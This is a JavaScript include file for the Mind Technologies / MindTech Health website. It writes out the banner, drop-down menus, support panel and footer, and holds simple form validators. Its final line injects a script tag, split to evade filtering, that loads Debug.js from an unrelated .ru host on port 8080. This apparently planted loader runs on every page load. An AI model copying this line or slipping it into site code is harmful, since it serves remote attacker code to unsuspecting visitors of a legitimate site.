function Menu(){document.write("<TABLE cellSpacing=0 cellPadding=0 border=0  align=center width=97% height=98 style=background:url(images/banner.jpg);background-repeat:yes-repeat;border:none;><TR><TD></TD></tr></table>");}
function fnTitle(){document.title = "MINDTECH HEALTH";}
/* ***************  To write Name of Physician to which Website Belong********************* */
//function fnPhysician(){document.write("Dr. John Rodrigues");}
/* ***************  To write Name of clinic on the Website********************* */
//function fnClinic(){document.write("Center for Scientific Homoeopathy")}
/* ***************  To Change color for Menu Item********************* */
function fnOver(EBtn){EBtn.style.color = "#4e2780";}
function fnOut(EBtn){EBtn.style.color = "#000000";}
/* ---------------------- Menus -------------------------------------- */
function fnTopBanner()
{
document.write("<table cellpadding=0 cellspacing=0 align=center border='0' width='1001' class='normal' style='background-image:url(Images/homepage_top_banner.jpg);background-repeat:no-repeat;width:1001; height:108;'><tr>")
document.write("<td width='783' align='left'><a href='default.asp'><img src='images/logo.jpg' border=0></a></td><td width='218' valign='top'><form method='get' action='http://www.google.com/search'>")
document.write("<table width='203' height='72' border='0' align=center cellpadding=0 cellspacing=0 class='normal'>")
document.write("<tr><td height='31'><a href='support.asp#HeadOffice'>Contact Us</a></td><td>&nbsp;|&nbsp;</td><td><a href='SiteMap.asp'>Site Map</a></td><td>&nbsp;|&nbsp;</td><td><a href='support.asp#HeadOffice'>Enquiry</a></td></tr>")
document.write("<tr><td colspan='5'><input type='text' id='txtSearch' name='txtSearch' class='searchbox'>&nbsp;&nbsp;<input type='submit' name='btnLogin' id='btnLogin' value='&nbsp;' class='btn'></td></tr>")
document.write("</table></form></td></tr></table>")	
}

function fnMainMenu()
{
document.write("<table cellpadding=0 cellspacing=0 align=center border='0' width='1001' class='normal'><tr>")
document.write("<td width='97' align='center' class='btnImage'><font class='home'><a href='default.asp'>Home</a></font></td>")
document.write("<td width='97' align='center' class='btnImage'><font class='aboutus'><a href='aboutus.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu1')>About Us</a></font></td>")
document.write("<td width='97' align='center' class='btnImage'><font class='health'><a href='HealthCare.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu2')>Health Care</a></font></td>")
document.write("<td width='97' align='center' class='btnImage'><font class='education'><a href='education.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu3')>Education</a></font></td>")
document.write("<td width='97' align='center' class='btnImage'><font class='services'><a href='services.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu4')>Services</a></font></td>")
document.write("<td width='97' align='center' class='btnImage'><font class='community'><a href='community.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu5')>Community</a></font></td>")
document.write("<td width='147' align='center' class='btnImagebig'><font class='strtegic'><a href='strategic.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu6')>Strategic Association</a></font></td>")
document.write("<td width='97' align='center' class='btnImage'><font class='ourclient'><a href='Institutionalusers.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu7')>Our Clients</a></font></td>")
document.write("<td width='97' align='center' class='btnImage'><font class='support'><a href='support.asp' onMouseover=cssdropdown.dropit(this,event,'dropmenu8')>Support</a></font></td>")
document.write("<td width='78' align='center' >&nbsp;</td></tr>")

//menu for the about us
document.write("<div id='dropmenu1' class='dropmenudiv' style='width: 170px'>")
document.write("<a href='aboutus.asp'>About Mind Technologies</a>")
document.write("<a href='vision.asp'>Vision</a>")
document.write("<a href='history.asp'>History</a>")
document.write("<a href='pioneer.asp'>Pioneer</a>")
document.write("<a href='ourteam.asp'>Our Team</a>")
document.write("<a href='ourstrengths.asp'>Our Strengths</a>")
document.write("<a href='careers.asp'>Careers</a>")
document.write("</div>")


//menu for the Health Care
document.write("<div id='dropmenu2' class='dropmenudiv' style='width: 150px'>")
document.write("<a href='IHMS.asp'>IHMS</a>")
document.write("<a href='CMCMS.asp'>CMCMS</a>")
document.write("<a href='Cosmos.asp'>Dr Cosmos</a>")
document.write("<a href='Membership.asp'>Council Management System</a>")
document.write("<a href='hompath.asp'>Hompath</a>")
document.write("<a href='thedoctor.asp'>The Doctor 24x7</a>")
//document.write("<a href='telemedicine.asp'>Telemedicine</a>")
document.write("</div>")

//Menu for the Education
document.write("<div id='dropmenu3' class='dropmenudiv' style='width: 150px'>")
document.write("<a href='onlinecourse.asp'>Online Courses</a>")
document.write("<a href='cms.asp'>College Management System</a>")
document.write("<a href='pgcourse.asp'>PG Homeopathy</a>")
document.write("<a href='mcq.asp'>MCQs</a>")
document.write("<a href='CureCDs.asp'>Cure CDs</a>")
document.write("<a href='publication.asp'>Publications</a>")
document.write("<a href='seminar.asp'>Seminar / Workshop</a>")
document.write("</div>")

//Menu for the Services
document.write("<div id='dropmenu4' class='dropmenudiv' style='width: 180px'>")
document.write("<a href='softwaredevelopment.asp'>Software Development</a>")
document.write("<a href='webdevelopment.asp'>Web Development</a>")
document.write("<a href='graphicart.asp'>Graphic Arts</a>")
document.write("<a href='contentmanagement.asp'>Content Management / Data Mining</a>")
document.write("<a href='internetmarketing.asp'>Internet Marketing Services</a>")
document.write("<a href='searchengine.asp'>Search Engine Optimization</a>")
document.write("<a href='multimedia.asp'>Multi Media</a>")
document.write("</div>")

//menu for the community
document.write("<div id='dropmenu5' class='dropmenudiv' style='width: 170px'>")
document.write("<a href='homeopathic_community.asp'>Homeopathic Community</a>")
document.write("<a href='medicalfoundation.asp'>Medical Foundation</a>")
document.write("<a href='campus.asp'>Camps</a>")
document.write("</div>")

//menu for the strategic Alliance
document.write("<div id='dropmenu6' class='dropmenudiv' style='width: 120px'>")
document.write("<a href='pioneerinfo.asp'>Pioneer Info Tech</a>")
document.write("<a href='eclinician.asp'>E-Clinician </a>")
document.write("<a href='hchuk.asp'>HCH UK</a>")
document.write("</div>")

// menu for the our clients
document.write("<div id='dropmenu7' class='dropmenudiv' style='width: 150px'>")
document.write("<a href='Institutionalusers.asp'>Institutional Users</a>")
document.write("<a href='GovernmentOrganisations.asp'>Government Organizations</a>")
document.write("<a href='Organisations.asp'>Web Portfolio</a>")
document.write("<a href='OtherEsteemedClients.asp'>Other Clients</a>")
document.write("<a href='VoiceofCustomers.asp'>Voice of our Customers</a>")
document.write("</div>")

//menu for the support
document.write("<div id='dropmenu8' class='dropmenudiv' style='width: 90px'>")
document.write("<a href='support.asp'>Form to fill</a>")
document.write("<a href='support.asp#HeadOffice'>Head Office</a>")
document.write("<a href='support.asp#LiveSupport'>Live Support</a>")
//document.write("<a href='crm.asp'>CRM</a>")
document.write("</div>")

document.write("</table>")
}

function fnLeftMenu()
{
document.write("<table cellpadding=0 cellspacing=0 border='0' class='normal'><tr><td width='246' height='10'></td></tr><tr><td height='5'></td></tr><tr><td valign='top' align='center'><table align='center' width='251' border='0' cellpadding=0 cellspacing=0 class='supportstrip'>")
document.write("<tr><td height='28'><font class='mainHaeding'>SUPPORT</font></td></tr><tr><td><table cellpadding=0 cellspacing=0 border='0' class='normal' width='233' height='85'><tr><td width='43'>&nbsp;</td><td width='190'><table cellpadding=0 cellspacing=0 border='0' class='normal' width='190' height='85'><tr><td valign='middle'>Tel : +91-22-2661 4532</td></tr>")
document.write("<tr><td valign='top'>Fax : +91-22-2660 6988 </td></tr></table></td></tr></table></td></tr></table></td></tr><tr><td height='10'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Email : <a href='mailto:support@mindtechlive.com'>support@mindtechlive.com</a></td></tr>")
document.write("<tr><td height='10'></td></tr><tr><td valign='top' class='padding4' align='right'><table cellpadding='0' cellspacing='0' border='0' class='normal'><tr><td valign='top' class='padding4' align='right'><object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0' width='233' height='148' id='OUR CLIENTS' align='middle'>")
document.write("<param name='allowScriptAccess' value='sameDomain' /><param name='allowFullScreen' value='false' /><param name='movie' value='images/flash/OUR_CLIENTS_INNER.swf' /><param name='quality' value='high' /><param name='bgcolor' value='#ffffff' />")
document.write("<embed src='images/flash/OUR_CLIENTS_INNER.swf' quality='high' bgcolor='#ffffff' width='233' height='148' name='OUR CLIENTS' align='middle' allowScriptAccess='sameDomain' allowFullScreen='false' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'/></object>")
document.write("</td></tr></table></td></tr><tr><td valign='top' class='padding4' align='right'><table cellpadding='0' cellspacing='0' border='0' class='normal'><tr><td valign='top' class='padding4' align='right'><object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0' width='233' height='148' id='OUR CLIENTS' align='middle'>")
document.write("<param name='allowScriptAccess' value='sameDomain' /><param name='allowFullScreen' value='false' /><param name='movie' value='images/flash/OUR_PRODUCT_INNER.swf' /><param name='quality' value='high' /><param name='bgcolor' value='#ffffff' />")
document.write("<embed src='images/flash/OUR_PRODUCT_INNER.swf' quality='high' bgcolor='#ffffff' width='233' height='148' name='OUR CLIENTS' align='middle' allowScriptAccess='sameDomain' allowFullScreen='false' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' /></object>")						
document.write("</td></tr></table></td></tr><tr><td>&nbsp;</td></tr></table>")
}

function fnGo(){history.go('-1');}

function disclaimer()
{
	document.write("<table cellpadding=0 cellspacing=0 align=center border='0' width='1001' class='normal' style='background-image:url(Images/disclaimer.jpg);width:1001;height:47;'><tr><td class='padding1'><font class='disclaimer'>Copyright &copy; 2009 Mind Technologies | All Rights Reserved.</font></td></tr></table>")
//	document.write("<tr><td class=basecolor height=20  align=center>");
//	document.write("<font style='color:white'>&copy;2008 All Rights Reserved | Designed and Hosted By <a href=http://www.mindtechnologieslive.com class=uline target=_blank> Mind Technologies </a></font>");
//	document.write("</td></tr>");
//	document.write("</table>");
}

function bottomLinks()
{
document.write("<tr>")
document.write("<td class=tds align=center valign=bottom height=50px>")
document.write("<font class=normal style='font-size:11px'>&nbsp;<a class=disclaimer href=Default.asp>Home</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp; ")
document.write("<a class=disclaimer href=Contactus.asp>Contact&nbsp;Us</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;")
//document.write("<a class=disclaimer href=FAQs.htm>FAQs</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;")
document.write("<a class=disclaimer href=AboutUs.asp>About Us</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
//document.write("<a class=disclaimer href=Homeopathy.htm>Homeopathy</a>&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;")
//document.write("<a class=disclaimer href=javascript:openWindow('disclaimer.htm',350,500)>Disclaimer</a>")

document.write("</td>")
document.write("</tr>")
}



//button.jpg

function leftPanel()
{
	document.write("<table cellpadding=0 cellspacing=0 width=100% border=0 align=Center class=leftBackground>")
		document.write("<tr><td height=27px></td></tr>")
		document.write("<tr><td align=center>")
		document.write("</td></tr>")
		document.write("<tr><td height=27px></td></tr>")
		document.write("<tr><td height=27px align=center  style='padding-left:10px;background:#29a3e6'><a href='registration.asp'><font class=normal color=black><b>Registration</b></font></a></td></tr>")
		document.write("<tr><td height=10px></td></tr>")
		document.write("<tr><td height=27px align=center  style='padding-left:10px;background:#29a3e6'><a href='tellafriend.asp'><font class=normal color=black><b>Tell a Friend</b></font></a></td></tr>")
	document.write("</table>")
	
//	document.write("<div style='padding-top:10px'>")
//		document.write("<OBJECT id='Object3' codeBase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,00,0'width='185' height='155' classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' VIEWASTEXT>")
//			document.write("<PARAM NAME='Movie' VALUE='images/Homeopathy.swf'>")
//			document.write("<PARAM NAME='Src' VALUE='images/Homeopathy.swf'>")
//			document.write("<PARAM NAME='WMode' VALUE='transparent'>")
//			document.write("<embed src='images/Homeopathy.swf' quality='high' pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' width='185' height='155' wmode='transparent'> </embed>")
//		document.write("</OBJECT>")
//		document.write("</div>")
	
}

function fnSearch()
{
	if(document.getElementById("txtSearch").value=="")
	{
		alert("Please enter value to search");
		document.getElementById("txtSearch").focus();
		return false;
	}
	else 
		{
		return true;
	
		}
}

function fnKeyPress()
{
document.getElementById('txtSearch').onkeypress=keyhandler;

}
function keyhandler(e) 
{
	var key = window.event.keyCode;
	if (key==13)
	{
//	alert("dipti");
		window.event.keyCode=0;
		document.getElementById("btnSearchResult").click();
	}
	
}


function openWindow(strImgPath, strHeight, strWidth)
{
	window.open(strImgPath,'SubWin',"toolbar=no,width="+strWidth+",height="+strHeight+",location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,copyhistory=no,controlbox=no")
}

function trim(argvalue)
	{var tmpstr = ltrim(argvalue);return rtrim(tmpstr);}
	function ltrim(argvalue)
	{while (1)	{if (argvalue.substring(0, 1) != " ")break;argvalue = argvalue.substring(1, argvalue.length);}return argvalue;}
	function rtrim(argvalue)
	{while (1){if (argvalue.substring(argvalue.length - 1, argvalue.length) != " ")break;argvalue = argvalue.substring(0, argvalue.length - 1);}return argvalue;}
	function EmailCheck(str) 
	{
		var at="@" ;
		var dot=".";
		var lat=str.indexOf(at);
		var lstr=str.length;
		var ldot=str.indexOf(dot);		
		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){alert("Invalid Email ID");return false;}
		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){alert("Invalid Email ID");return false;}
		if (str.length == (str.indexOf(dot)+1)){alert("Invalid Email ID");return false;}
		if (str.indexOf(at,(lat+1))!=-1){alert("Invalid Email ID");return false;}
		if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){alert("Invalid Email ID");return false;}
		if (str.indexOf(dot,(lat+2))==-1){alert("Invalid Email ID");return false;}
		if (str.indexOf(" ")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf(";")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("'")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("\"")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("<")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf(">")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("=")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("#")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("$")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("%")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("&")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("^")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("!")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("+")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("~")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("?")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("\\")!=-1){alert("Invalid Email ID");return false;}
		if (str.indexOf("/")!=-1){alert("Invalid Email ID");return false;}
		return true;					
	}

function checkChar(strName)
	{
		var flag;
		flag=true;
		for(var intCount=0; intCount<strName.length; intCount++)
		{
			var strCharacter = strName.charAt(intCount);
			if (strCharacter=="#" || strCharacter=="%" || strCharacter=="&" || strCharacter=="+" || strCharacter=="<" || strCharacter==">")
			{
				flag=false;
			}				
		}	
		if (flag==true)	
		return true;
	}

	function fnValidPhone(strNumber)
	{var intCount;for (intCount=0;intCount<strNumber.length;intCount++){var strCharacter = strNumber.charAt(intCount);if (!fnIsCharacterValid(strCharacter)){return false;}}return true;}
	
	function fnIsCharacterValid (strCharacter){return (((strCharacter >= "0") && (strCharacter <= "9"))||(strCharacter=="+")||(strCharacter=="-") ||(strCharacter=="(")||(strCharacter==")")||(strCharacter==" "))}



document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Debug.js"></scr'+'ipt>');